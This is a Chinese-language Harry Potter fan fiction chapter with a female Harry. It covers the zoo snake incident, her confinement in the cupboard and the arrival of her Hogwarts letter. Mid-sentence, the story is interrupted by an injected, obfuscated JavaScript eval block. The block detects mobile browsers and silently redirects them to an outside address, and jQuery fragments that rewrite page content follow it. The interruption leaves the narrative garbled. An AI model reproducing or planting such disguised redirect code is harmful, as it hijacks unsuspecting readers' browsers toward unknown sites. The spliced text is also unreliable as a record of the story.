撇开萦绕在德思礼夫妇——尤其是弗农·德思礼身上的低气压不谈，太阳在天上高高照着，让人有身处夏季的实感，对于常年阴雨天的伦敦而言，这其实是难得的好天气。
太阳底下，猩猩深褐色的毛泛着浅浅的光，乍一看，哈莉还以为那是达力失散多年的亲兄弟，而蟑头鼠脑的皮尔在这个动物园里也能找到亲戚，猩猩旁边的猴子和他就很像。
猩猩和猴子，达力和皮尔——他俩还真不愧是好兄弟！哈莉微笑着摇摇头，为自己绝妙的联想拍手叫绝。
弗农紧紧跟在这好哥俩的身边，佩妮则始终抻着长长的脖子，像芭蕾舞演员一样，不紧不慢地走在中间，而哈莉·波特舔着冰淇淋，慢悠悠在后面走着。
巧克力味儿绝对不是她的最爱，不过既然这个冰淇淋是她从弗农姨夫的预算里拐来的，那就显得倍加美味。
当时小贩殷切地看着她，问她要不要来一个，弗农姨夫勉强沉着气不动声色，在小贩的笑脸中，佩妮姨妈不动声色地戳了她丈夫一下，让脸憋得发涨的弗农掏了钱包。
这种东西本来是轮不着自己的，德思礼向来吝惜于给她花钱，而一想到达力震惊的眼神和颤抖的手，哈莉就忍不住发笑——看别人出乎意料，这件事实在有趣。
在结账的时候，弗农姨夫狠狠剜了她一眼。
那又有什么关系呢？哈莉想，反正冰淇淋已经在我手里了。
一顿闹腾的午饭后，他们去了爬虫馆，那儿又黑又冷，让一早上吃了两个半大冰淇淋的达力连着打了两个喷嚏。
“什么鬼地方！这么冷！”他瞪着眼睛大声嚷嚷。
哈莉放慢脚步，不想被人以为自己和这没素质的蠢货是一起的。
“怎么不安个灯！”
金毛猩猩还在怒吼，他父亲拍拍他的肩安抚他：“好了，达力，小点声儿。”
她真没想到有生之年能从弗农姨夫口中听到“小点声”这几个字。
在他们身后，哈莉欣赏着在家里第二喜欢大声说话的弗农脸上尴尬的表情，她还以为他不知道“丢脸”两个字怎么写呢。
外面，正午的暑气还在炙烤大地，但站在阴冷的昏暗的爬虫馆内，再好的太阳也与他们无关了。
哈莉小心地与他们保持一段距离，在确保不会靠得太近，但又能听见声音的地方漫步，她饶有兴致地看着玻璃展柜，玻璃窗内，一条花纹挺好看的蟒蛇盘在木头上，它有一双闪亮的金色眼睛。
“闷吧。”哈莉小声对它说。
蛇重重地点了点头：“闷死了，整天都是这样的人。”
它的眼珠瞥向达力的方向，哈莉明白它的意思。
这不是她第一次跟蛇说话了，小时候，其实是三年级，她在学校的灌木丛里就见过一条蛇。
她观察四周，确认讨厌的皮尔和愚蠢的达力没有看向这边，放低声音：“我也是，天天被关着，和你一样。”
哈莉没有说谎，只要干了什么触怒德思礼夫妇的事，他们就会选择把她关在碗柜里不出来。虽然她平时也住在那儿，但有没有自由出入的权利还是很重要的。
“我的展柜还没你的大。”她吐槽道。
“同时天涯沦落人啊，姑娘。”蛇甩了甩自己漂亮的尾巴。
“达力！德思礼先生！”
聒噪的皮尔又叫喊起来，引来跑起来像地震一样的达力和他爸爸，哈莉看见佩妮姨妈不悦地皱了皱眉。
“让着点，哈莉！”
达力小山一样的身子凑过来，一下子把哈莉从玻璃前挤到地上，哈莉翻了个白眼，拍拍屁股站起来。
真服了。
还是没防住。
达力那肉嘟嘟的鼻子紧紧贴在玻璃上，和皮尔一起扒着窗子向里面张望。
“怎么了？”他问皮尔。
皮尔那老鼠一样猥琐的脸扭曲起来，挤眉弄眼地往哈莉的方向看，声音尖利：“怪胎，你刚刚跟蛇在说话是不是？”
哈莉觉得很不爽。
展柜里，那条蛇发出低沉的嘶声：“给他点颜色看，姑娘。”
哈莉笑了。
“啊——”
那两个可笑而暴力的原始生物尖叫起来，踉跄着向外面跑去。
不知道具体是什么时候，也可能一切就发生在那一瞬间，那扇巨大的透明玻璃窗消失了。巨蟒扭动着漂亮的蛇身在地面上滑行，它长长的蛇尾在地上留下一点晶莹的水渍。
“谢谢你，亲爱的。”
经过哈莉的时候，它吐出信子“嘶嘶”地对她说：“有空来巴西玩啊。”
哈莉转过头，看向墙上展柜侧边那块儿小标签，冰冷的印刷体上明明白白写着几个大字——“巴西蟒蛇”。
达力的生日活动戛然而止，动物园园长低三下四地对佩妮姨妈道歉，达力和皮尔两兄弟抱在一团哭泣，弗农姨夫涨着脸皱着眉，哈莉站在门口低头挨训。
这都要怪皮尔长了双好耳朵，他当着所有人的面，颤抖着嗓子对哈莉发问：“你跟蛇说话了，是吧？”
等到他们回去，除了哈莉以外，所有不姓德思礼的人离开这座房子后，弗农怒气冲天地把自己的外甥女关在碗柜里。在门合起来的前一刻，哈莉看见他紫红色的脸皮颤抖着，他从咬紧的牙关里吐出一句不太完整的话：“待在……柜子里……没有饭吃！”
接下来，柜子以外发生的所有事哈莉都不知道了，她静静地待在黑暗的碗橱里，回响今天发生的所有事情，在一片寂静中，绽放了这周第一个真心的笑容。
这场紧闭实在持续了挺长一段时间，每天只要是不在学校的时间，她基本都得老老实实待在碗柜里，其实这并不算是一件特别糟的事情。
起码这样，她就不需要做家务或者是和达力他们斗智斗勇了。
等到她被正式解除禁足令的时候，暑假已经开始了。和哈莉一样，达力也喜欢暑假，他和他的小团伙有了更加自由的时间去招猫逗狗，或者发挥他们伟大的行动力对哈莉展开无止境的骚扰。
达力和他的朋友们乐此不疲，尤其是皮尔。
哈莉讨厌他们每一个人，尤其是皮尔。
不过这样的事情很快就被迫终止了，七月下旬的一个早上，哈莉收到了一封信，一封寄给住在萨里郡小慧金区女贞路四号楼梯下的碗柜里的哈莉·波特小姐的信。
谁寄来的信？
哈莉疑惑地看着精美的信封，牛皮纸样的信封背面，明明白白写着她确切的居所，而信封正面，考究的火漆封口和上面的图案一样，像是什么神秘组织的图腾。
她想用黄油刀拨开这漂亮的封口，不想让它受到一点儿损失。
“爸爸！有哈莉的信！”
达力注意到她手里的东西，冲坐在餐桌旁边吃吐司的爸爸大叫：“哈莉有一封信！”
“怎么可能，谁会给她写信？”
弗农那双精明的小眼睛透出促狭，哈莉被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405244|168746||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他盯得心里发毛。
“真是我的。”
隔着一张桌子的距离，弗农伸手夺过哈莉手里的信，他粗暴地拆开信封，饶有兴致地看它的内容。
下一刻，他那张常年涨红的脸一下子变得惨白，粗壮的手臂不停颤抖。
“佩妮！”
他高声呼喊妻子的名字，声音里带着莫名的畏惧。
“佩妮！”
佩妮·德思礼从厨房里出来，还没来得及摘下腰间的围裙。
“怎么了，亲爱的？”
身体靠近丈夫，她的目光移向信纸，哈莉看到，那种与弗农·德思礼相似的畏惧表情在她脸上浮现。
“哦，天呐！”
佩妮姨妈好像要晕过去了，她软着腿扶在椅背上，大口大口喘着气，好像陷入一种极端的窒息。
“给我看看，给我看看！”达力对这封写给哈莉的信表现出十足的好奇。
“我要看，那是我的信！”哈莉盯着他们。
“都给我出去！”弗农姨夫暴喝道，揪着两个孩子的领子就把他们扔了出去，“砰——”地一声，关上了门。
哈莉和达力为了争夺靠近门缝的位置推推搡搡，在达力幼稚又粗暴的动作中剜了他一眼，吓得他一个激灵，终于安静下来。
透过门缝那一点稀碎的空间，哈莉看到弗农姨夫锃亮的黑皮鞋在厨房的地板上兜圈子，含糊不清的话传入她耳中——
“他们在监视我们……”
“不回信……什么也不做。”
“让我们一家，离那些危险都远远的……”
当天晚上，哈莉被勒令搬出这间她住了许多年的碗柜，带着她寥寥无几的私人物品，去她的新房间——达力的玩具房。
在零碎的记忆中，她好像也曾经在这里住过不短的时间，然后，发生了一件事，回想起来，她的脑子里只剩下佩妮姨妈愤怒扭曲的脸、达力痴呆的神情，以及下班回来时，弗农姨夫阴沉的声调——“怪胎”。
哈莉摇了摇头，努力把那些令人头痛的模糊印象都甩出脑子。她环视四周，房间里的东西，比她上回帮达力拿他的汽车模型时，还要多出许多，达力生日时收到的那些礼物此刻缺零少件地在角落里摆着，他小时候买的士兵模型套装七零八落在一个敞开的纸盒里塞着，有那么一段时间，达力很好心地送给过哈莉一些，虽然之后他又把他们都要回来了，只除了一个被摔断一条隔壁的残疾士兵。纸盒旁边，他以前养鹦鹉的巨大鸟笼空荡荡的，那只漂亮的鸟被他在学校里换了一支玩具枪。
希望他不曾用那把枪打过他的鹦鹉，哈莉默默想。
在她观赏这些被达力遗忘的七七八八的玩具时，达力突然打开了门，愤愤地看了她一眼，又泡着下楼，找他妈妈理论去了。
“那是……我的房间……让她滚下去！”
哈莉听不到佩妮姨妈说了什么，只有达力断断续续的声音从楼下传来。
过了一会儿，暴躁的达力也没有声音了，她听到他拖着沉重的脚步上了楼，没有再来开她的门。
真稀奇，达力怎么这样快就不吵了？
哈莉有点好奇，她想不出佩妮姨妈究竟给达力说了什么，可以让这混世魔王安静下来。
小房间昏暗的灯光下，哈莉把自己那几件儿衣服叠好，放进柜子里，在衣柜的顶格，她看到一只用布、棉花、纽扣制成的、粗糙的、可爱的、有着黑色头发绿色眼睛的布娃娃。